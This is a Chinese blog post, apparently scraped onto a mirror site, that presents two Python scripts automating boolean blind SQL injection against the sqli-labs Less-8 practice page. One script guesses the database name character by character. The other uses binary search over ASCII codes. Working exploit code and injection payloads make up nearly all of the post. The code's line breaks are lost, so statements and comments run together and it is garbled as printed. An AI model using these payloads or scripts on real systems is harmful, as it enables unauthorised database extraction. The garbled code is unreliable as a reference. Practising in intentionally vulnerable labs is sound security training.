当前位置: 首页 > news >正文

用python实现自动化布尔盲注

方法一(直接使用字符盲注)

import requests#目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"#要推断的数据库信息(例如:数据库名)
database_name = ""#字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "#推断数据库名的长度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0#推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name#主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

方法二(二分查找–利用Ascii将其转化为数字进行盲注)

import requests
import time# 配置目标URL和检测信息
BASE_URL = "http://127.0.0.1/sqli/Less-8/index.php"
SUCCESS_MESSAGE = "You are in..........."
MAX_LENGTH = 50  # 最大长度限制
DELAY = 0.1  # 请求间隔(秒)
ASCII_MIN = 32  # 空格字符
ASCII_MAX = 126  # 波浪线字符def check_injection(url, payload):"""发送请求并检查是否注入成功"""try:response = requests.get(url, params={"id": payload})time.sleep(DELAY)  # 避免请求过快return SUCCESS_MESSAGE in response.textexcept requests.RequestException as e:print(f"请求出错: {e}")return Falsedef binary_search(url, payload_template, min_val, max_val):"""使用二分查找确定ASCII值"""low, high = min_val, max_valwhile low <= high:mid = (low + high) // 2# 检查是否等于中间值eq_payload = payload_template.format(operator="=", value=mid)if check_injection(url, eq_payload):return mid# 检查是否小于中间值lt_payload = payload_template.format(operator="<", value=mid)if check_injection(url, lt_payload):high = mid - 1else:low = mid + 1return -1  # 未找到匹配值def get_database_length(url):"""使用二分查找获取数据库名长度"""print("正在获取数据库名长度...")low, high = 1, MAX_LENGTHwhile low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT length(database()) = {mid}) -- "if check_injection(url, payload):print(f"数据库名长度: {mid}")return midpayload_lt = f"1' AND (SELECT length(database()) < {mid}) -- "if check_injection(url, payload_lt):high = mid - 1else:low = mid + 1print("无法确定数据库名长度")return 0def get_database_name(url, length):"""使用二分查找获取数据库名"""print("正在获取数据库名...")db_name = ""payload_template = "1' AND (SELECT ASCII(SUBSTRING(database(), {pos}, 1)) {{operator}} {{value}}) -- "for pos in range(1, length + 1):formatted_template = payload_template.format(pos=pos)ascii_code = binary_search(url, formatted_template, ASCII_MIN, ASCII_MAX)if ascii_code != -1:db_name += chr(ascii_code)print(f"已获取字符 {pos}/{length}: {db_name}")return db_namedef main():"""主函数"""print(f"开始对 {BASE_URL} 进行SQL注入测试")# 获取数据库名db_length = get_database_length(BASE_URL)if db_length <= 0:print("无法获取数据库信息,退出")returndb_name = get_database_name(BASE_URL, db_length)print(f"数据库名: {db_name}")if __name__ == "__main__":main()
http://www.lryc.cn/news/590436.html

相关文章:

  • RHCSA(软链接与硬链接)
  • 高性能架构模式——高性能缓存架构
  • sqli-labs靶场通关笔记:第23关 注释符过滤
  • 二、CV_AlexNet
  • 81、面向服务开发方法
  • 关于SaaS业务模式及其系统架构构建的详细解析
  • 横向移动(下)
  • IPD-流程设计-TE角色说明书参考模板
  • 多维傅里叶变换性质与计算
  • CSS3动画基本使用——页面一打开盒子就从左边走向右边
  • 【尝试】本地部署openai-whisper,通过 http请求识别
  • C++-linux系统编程 11.常见问题与答案
  • 创建SprngBoot项目的四种方式
  • 降本增效利器:汽车制造中EtherCAT转PROFIBUS DP网关应用探析
  • 快速开发汽车充电桩的屏幕驱动与语音提示方案
  • 使用 SeaTunnel 建立从 MySQL 到 Databend 的数据同步管道
  • Mysql系列--1、库的相关操作
  • 在 IntelliJ IDEA 中添加框架支持的解决方案(没有出现Add Framework Support)
  • AI学习笔记三十一:YOLOv8 C++编译测试(OpenVINO)
  • 使用Telegraf从工业物联网设备收集数据的完整指南
  • Beautiful Soup(BS4)
  • ABP VNext + EF Core 二级缓存:提升查询性能
  • AI炒作,AGI或在2080年之前也无法实现,通用人工智能AGI面临幻灭
  • 【RTSP从零实践】13、TCP传输AAC格式RTP包(RTP_over_TCP)的RTSP服务器(附带源码)
  • 50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | AutoTextEffect(自动打字机)
  • 使用Whistle自定义接口返回内容:Mock流式JSON数据全解析
  • SQL性能分析
  • C# --- 单例类错误初始化 + 没有释放资源导致线程泄漏
  • 【Linux】如何使用nano创建并编辑一个文件
  • 动态规划题解_打家劫舍【LeetCode】